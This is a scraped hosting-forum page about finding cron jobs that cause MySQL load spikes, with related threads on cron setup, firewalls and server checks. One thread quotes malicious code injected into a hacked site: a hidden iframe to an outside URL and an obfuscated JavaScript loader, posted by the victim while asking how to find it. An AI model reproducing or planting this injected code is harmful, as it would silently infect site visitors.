Check What Cron Jobs Have Been Added On The Server?
i find on the certain time,
the mysql of server will run a lot of query,
and the io and load will become very high,
after the time point,
all the io and load with be smoth,
so,i wonder if any Cron job has been add (by certain account) to run something,
View Complete Thread with Replies
Sponsored Links:
Related Forum Messages:
Determine What Cron Jobs Are Killing Server And When
We're running on Linux/Apache/MySQL/RoR and have a number of cron jobs that run throughout the day on our server. We've been noticing lately that at certain times of the day the site becomes really slow. When I'm online with my engineers I can mention this to them and they can check and see and say "Oh yeah, it's job XYZ that's spiking the server load." That's great but much of the time when I notice the sluggishness my developers are offline (we're in different time zones). I'm wondering if there's a fairly easy way to track this when they're not online so we can say "Yup, last night at 10 PM your time when you noticed that it was job ABC." There has to be something that allows you to do this right?
View Replies!
View Related
Per Second Cron Jobs?
Hey everyone, my friend's dad is looking for a web host that will allow his cron jobs to run every second. Most hosts apparently dont allow cron jobs faster than 5 seconds apart. How often a host can run cron jobs isn't really advertised on their sites so I'm having a bit of trouble finding a host. I've resorted to just sending emails to sales addresses asking about it. Does anyone know how I can find a host like this?
View Replies!
View Related
How To Schedual Cron Jobs
I have a number of PHP scripts that I would like to automatically run daily at midnight. I am currently running a VPS server but have no idea how to achieve this. I do have webmin on my sever but am unsure of what command I need to run.
View Replies!
View Related
Cron Jobs Not Running
I have a machine, that for some reason stopped running it's cron jobs for some reason, and I can figure out how to get them working again. My /etc/crontab file is as follows. SHELL=/bin/bash PATH=/sbin:/bin:/usr/sbin:/usr/bin MAILTO=root HOME=/ # run-parts 01 * * * * root run-parts /etc/cron.hourly 02 4 * * * root run-parts /etc/cron.daily 22 4 * * 0 root run-parts /etc/cron.weekly 42 4 1 * * root run-parts /etc/cron.monthly Here are the contents of a sample user cron file. MAILTO="USER" 10 4 * * * php -q -f /home/USER/public_html/tools/updtransfers.php /home/USER/public_html >/dev/null 2>&1 10 5 * * * php -q -f /home/USER/public_html/tools/updateexp.php /home/USER/public_html >/dev/null 2>&1 10 5 * * * php -q -f /home/USER/public_html/tools/invoice_cron.php /home/USER/public_html >/dev/null 2>&1 and another */5 * * * * /usr/local/bin/php -c /home/USER/php.ini /home/USER/public_html/poller.php > /dev/null 2>&1 I've checked my logs, and I can find no errors anywhere. When I run the commands manually via SSH, they work perfectly, they simply are not being run automatically the way they are supposed to be. I have checked, and the crond service is running. I have tried restarting it, but it seams to have no affect. I really have no idea what the issue is. The only thing I seam to have found at one point, was the possibility that the files within the /etc/cron.d directory might be CHMOD'ed wrong, but I haven't found anything to confirm this either way. [root@server cron.d]# ls -all total 60 drwxr-xr-x 2 root root 4096 Dec 17 03:07 . drwx--x--x 94 root root 12288 Jan 3 09:28 .. -rw-r--r-- 1 root root 61 Jun 22 2007 csf_update -rw-r--r-- 1 root root 81 Apr 11 2007 lsm -rw-r--r-- 1 root root 79 Jun 22 2007 prm -rw------- 1 root root 366 Feb 23 2007 sa-update -rw-r--r-- 1 root root 82 Jun 22 2007 spri -rw-r--r-- 1 root root 188 Nov 16 23:14 sysstat [root@server cron.d]#
View Replies!
View Related
Cron Jobs Failing
I have jobs that fail every now and then. I get this email: Looking up www.xxxx.com www.xxxx.com Making HTTP connection to www.xxxx.com Sending HTTP request. HTTP request sent; waiting for response. Alert!: Unexpected network read error; connection aborted. Can't Access [url] Alert!: Unable to access document. lynx: Can't access startfile
View Replies!
View Related
Software To Control Cron Jobs?
Is there any software which would control cron jobs? I've a problem with cpu load where some customers are running more than enough of them at the same time. Is there any software which would be able to: If there are more than x crons running at the same time, put others in queue and execute after there are no more than x-1 are running?
View Replies!
View Related
Cron Jobs And Time Zone Differences
I have a customer billing system. I would like crons to run at midnight so that the invoices are on schedule and have the right dates etc. My server is overseas and my time is plus 14 hrs here. I have set my software up to plus 14 hrs time difference also. What should I set my crons to?
View Replies!
View Related
Variable Filenames By Date In Cron Jobs
How do you insert variables in cron jobs? e.g. the current date. Let's say I want to back up a file and append the date to it. 0 0 * * * cp /some/file.txt /some/outputfile_[DATE].txt >/dev/null (note that I'm not sure the cp will actually work like that, it's just an example) Where outputfile_[DATE].txt has the date in it. Are there variables cron can use for date, hour, minute, etc.?
View Replies!
View Related
Cron Jobs Not Executing PHP Files
I have a new dedicated server and am trying to set up a cron job via CPanel on on of my accounts (we'll call it "abc" account). In the Cron job area, where it asks for the command to run, I enter this: /home/abc/public_html/forum/class/sendnotice.php But when the job runs, it doesn't seem to be executing the .php file. Instead, I get stuff like this via email: /home/acb/public_html/forum/class/sendnotice.php: line 1: ?php: No such file or directory /home/abc/public_html/forum/class/sendnotice.php: line 2: ////////////////////////////: is a directory /home/abc/public_html/forum/class/sendnotice.php: line 3: //: is a directory /home/abc/public_html/forum/class/sendnotice.php: line 4: //: is a directory /home/abc/public_html/forum/class/sendnotice.php: line 5: //: is a directory /home/abc/public_html/forum/class/sendnotice.php: line 6: //: is a directory /home/abc/public_html/forum/class/sendnotice.php: line 7: //: is a directory /home/abc/public_html/forum/class/sendnotice.php: line 8: //: is a directory /home/abc/public_html/forum/class/sendnotice.php: line 9: //: is a directory So it is as if the cron job is reading each line of the .php file instead of just running it. Am I doing something wrong in setting up the cron job to run that file or could it be a configuration issue with the new server?
View Replies!
View Related
My IP Addresses Are Not Added To My Server
i just got a 2nd server i had a problem at the beginning that i had to reload so i think the tech forgot to add my other ips to my network card configs i remember layeredtech once reloaded my server and the same problem happend so they advised me to add it to a config file in my server
View Replies!
View Related
My Own IP Keeps Getting Added To Iptables Rules
I had csf firewall installed, and due to my own stupidity, attempted to login with the wrong password one too many times, which added my IP to iptables, locking me out. I had to SSH into a linux box at school, and then ssh into my server to stop the iptables service so I could get into my server. I removed every trace of my IP that I could find in csf, but sometime in the middle of the night, iptables reloads some rules from somewhere that blocks me again. I also tried doing iptables -F to clear all rules, but again, sometime in the middle of the night, rules are reloaded and I get blocked. I even uninstalled csf to no avail. I just want to remove my IP once and for all.
View Replies!
View Related
Malicious Code Added To Index File
I've been having an issue with one of my sites were someone has been adding malicious code to the index file. I don't know what has been compromised and am looking for a way to stop this. I have a dedicated server have already upgraded MySQL to the latest version as I though that might work but it hasn't.
View Replies!
View Related
Hacked: How To Find Javascript Added To Pages In /home
Many of my websites on my server have been hacked, it randomly add's Code: <!--iframe width=1 height=1 border=0 frameborder=0 src=[url]--> Code: <!--iframe width=1 height=1 border=0 frameborder=0 src=[url]--> and Code: <!--iframe width=1 height=1 border=0 frameborder=0 src='http://aboutmynews.org/news/InF.php' style='display:none;'></iframe--><!-- ~ --><script language=JavaScript>function dc(x){var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,49,46,22,39,35,15,23,8,28,0,0,0,0,0,0,2,25,55,54,30,40,13,57,14,12,53,47,43,19,38,3,37,33,58,18,36,44,20,24,51,60,29,0,0,0,0,41,0,0,45,48,9,32,17,59,31,6,61,5,4,7,27,50,56,62,34,10,52,1,16,21,26,42,11);for(j=Math.ceil(l/b);j>0;j--){r='';for(i=Math.min(l,b);i>0;i--,l--){w|=(t[x.charCodeAt(p++)-48])<<s;if(s){r+=String.fromCharCode(165^w&255);w>>=8;s-=2}else{s=6}}document.write(r)}}dc("kNdXOhF18O9QSX9cfBINV3WXaXUcFmFNV3p1shZcahFNw3pc7MIoahUo7mIc75APkxjJi5_eFmZtw0_rssFcmOAt7ObJfKE1s5UrzKIcSnbrIK9caBjrwB9J@3EJfXZoa5_euXUJw4I190GosKIcDspNAy8XOhF18OYN")</script><!-- ~ --> To some of my pages on my websites in my /home directory. Please do not visit the links without anti virus protection. what command I can use to search all of my files in my home directory for this?
View Replies!
View Related
How To Cron On Windows Server?
I truly love the 'cron' feature on Linux servers. This way I can schedule php scripts to do repetitive tasks on my website, but I plan to develop a asp.net website. Is this kind of scheduling scripts possible on Windows servers? Else how do I perform repetitive automatic tasks? It would be a shared hosting.
View Replies!
View Related
Cron Issues On VPS Server
I have a VPS Setup which is running Cpanel, everything works fine apart from some of my clients Cron Jobs. Each user is trying to get cron to run a script to update a page. if they run the script from a browser then it works fine and the page is updated, however if they let cron run the script, it does not run and they get an error email from the server. E.g. ************************* Subject: Cron <xxx@xxx> php -f /home/xxx/public_html/1min.php From: "Cron Daemon" <xxx@xxx.xxx.co.uk> Date: Fri, January 18, 2008 12:55 am To: xxx@xxx.co.uk Priority: Normal Options: View Full Header | View Printable Version | Download this as a file No input file specified. ********************* I have check the server and everything seems to be fine, I have cron jobs running as part of WHMCS which all work fine, I just cant find the error.
View Replies!
View Related
Dedicated Server - How To Setup CRON
I'm trying to help out a friend with a dedicated server setup however we both don't know too much about it. We've setup apache, perl, sql all the standard stuff but cannot for the life of us setup a CRON job for a particular script. The dedicated server control panel is: WHM Accelerated. Our current websites have been setup on the server under the same user account (master). There doesn't seem to be the usual "CPANEL" options which you usually get with shared hosting however.
View Replies!
View Related
Check My Server Speed
I have two servers one from hostmysite and other one is from 15minute server, I would like to know which one is faster, I have a dedicated server from 15minuteserver, but sometime I get slow speed I am not really sure which one is faster. test two Ips and let me know. 76.12.21.39 216.118.117.165
View Replies!
View Related
How To Check My Server Security
i have a dedicated server , some one else made the security for me, how could to be sure of its security? how could to be sure of all php functions contain risk are closed or disabled? how could to be sure of there are not any security gap? way to understand and implement the steps.
View Replies!
View Related
Check If IP Is Blacklisted On Server
One of our customers has reporting not being able to access any sites hosted on our server. He is using a cable connection with a static IP number . He is able to access all other web sites on the Internet, he just can't access the ones hosted on our network. Do you have any ideas on why this could be occuring, or if there is something on the server which could have blacklisted his static IP, preventing him access.
View Replies!
View Related
How To Check The Type Of HD In Your Server
I recently purchased a new server. It is supposed to have a 250G SATA II HD. However, I have my suspicion that it could be a SCSI HD (not that it's bad, but I just want to check). Is there a SSH command that tells you the type of HD on your server? I tried fdisk -| , but it doesn't really say whether it's a SATA2 or SCSI
View Replies!
View Related
Check Domains With Different IPs On Same Server
I'm not sure where to ask this but probably this section is the closest. I'm sorry if I use the wrong section. Anyway I was wondering about checking using a reverse ip address tool which is available for free on the internet. It seems that anyone can just check other domains which share the same IP address on a server. However, I have a question. Is it possible for anyone to check other domains which have different and unique IP addresses (for each domain) BUT all reside on a same server? (meaning the person who is searching this only checks using one IP address/domain name to find out other domain names that reside on the SAME server) Is there a 'free tool' out there that is capable of checking this?
View Replies!
View Related
How To Check Connection Speed Of The Server
Can you conduct me to check the server speed by commands ( linux fedora )? How to check connection speed of the server. i.e. 100 Mbps , 10 Mbps, etc. I saw an message like this : " NIC Link is Up 10 Mbps Full Duplex", according to my knowledge, this is my server connection speed/ bandwidth is 10 Mbps, isn't it?
View Replies!
View Related
Check Server Network Speed
Can someone throw light, on how to check my Server's network speed? I have uploaded a 200 MB dump and getting this result : Quote: # wget ******/dump.doc HTTP request sent, awaiting response... 200 OK Length: 231,816,431 [application/msword] 2% [> ] 4,984,776 1.15M/s ETA 03:22 1) How is this Dedicated Box, speed considered? 2) Any other way to test network speed?
View Replies!
View Related
Check Server And Hosting Quality
We have a dedicated server with huge application that use intensively one database and we notice that we block at 15000 people / days ... our website is arkadia.com So my questions are : * is the server can be full and this why we block at 15000 people / days ? most important, how to check it ? * is the DNS (enom.com DNS server) can be not fast enalf or not wheel configured ? how to check it ? * is the hosting company can be not good enalf (low bandwith for exemple or someting else)? again how to check it ?
View Replies!
View Related
Check Dedicated Server Speed
I am planing to buy XLHOST dedicated server for my software project. Before buying this dedicated server I want to check it's standard server speed using following file. Please can anyone check download speed?[url]I will upload my file after getting satisfied with your test. Then I will post my dedicated server file link here to cross check download speed.
View Replies!
View Related
Check If It's Real Dedicated Server Box
if you rent a linux dedicated server from a server provider and you're provided with ssh access to the server, how do you check and make sure that the ded server you're using is real ded server box, rather than a vps? let's just say that you are suspecting that the company is cheating on you.
View Replies!
View Related
High Server Load - How To Check From Logs
my server load was above 200+ today on this specific time. How do I check from logs what is going on? Where do I begin? 16:28:11 up 32 days, 22 min, 2 users, load average: 241.03, 108.69, 54.24 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT mi pts/0 xxx.82.73.xxx Thu20 0.00s 0.06s 0.39s sshd: mi [priv] mi pts/1 xxx.82.73.xxx Thu21 18.00s 1:07m 0.37s sshd: mi [priv]
View Replies!
View Related
Simple Script To [ Check Server Information ]
does anyone know any simple script such as php script which can check server information such as type processor(s) .. size of memory ..? or any other simple way I can check it. this the following paste from WHM for my server. but 'm kinda new to this dedicated server stuff Quote: Memory Information Memory: 2073028k/2096592k available (1884k kernel code, 22672k reserved, 759k data, 188k init, 1179088k highmem) is that mean 2GB RAM? Quote: Current Memory Usage total used free shared buffers cached Mem: 2074416 1670208 404208 0 798076 621524 -/+ buffers/cache: 250608 1823808 Swap: 2040212 0 2040212 Total: 4114628 1670208 2444420
View Replies!
View Related
How To Check Which Mysql Databases Cause Server Load
How can i check (using SSH) which databases/users cause server load to mysql ? I've tried "mysqladmin proc stat" but it shows just the current. How can i get stats of the last 24 hours for example ? I've also seen slow connections stats. What is the command to check more detailed report of the slow connections; which databases caused it etc', in the last 24 hours for example as well.
View Replies!
View Related
Server Not Sending Emails [ Whre To Check
I have purchased a server for layeredtech a few months back, and I just reliased that no one is receiving emails of their subscription in the forums, no contact forms are working on website, simply the server is not seding out the emails.. how can I fix it OR where to check whats wrong why its not sending emails?
View Replies!
View Related
Those With CSF Installed - Server Security Check Score
If you have CSF installed, under its WHM section there is a quick security 'scan' you can run - just wondering what score you have? I know it's not an infallible test, but the scan does test for some potentially large weaknesses hence why I'm asking here (mainly out of curiosity) what sort of scores people have. Mine is 103/112 - the rest of the points were mainly for features I didn't want enabled for particular reasons (i.e. one of the recommendations is to force all cPanel visits to be through SSL, a feature which some clients don't want) plus sometimes it says I've got features enabled which are disabled, etc.
View Replies!
View Related
|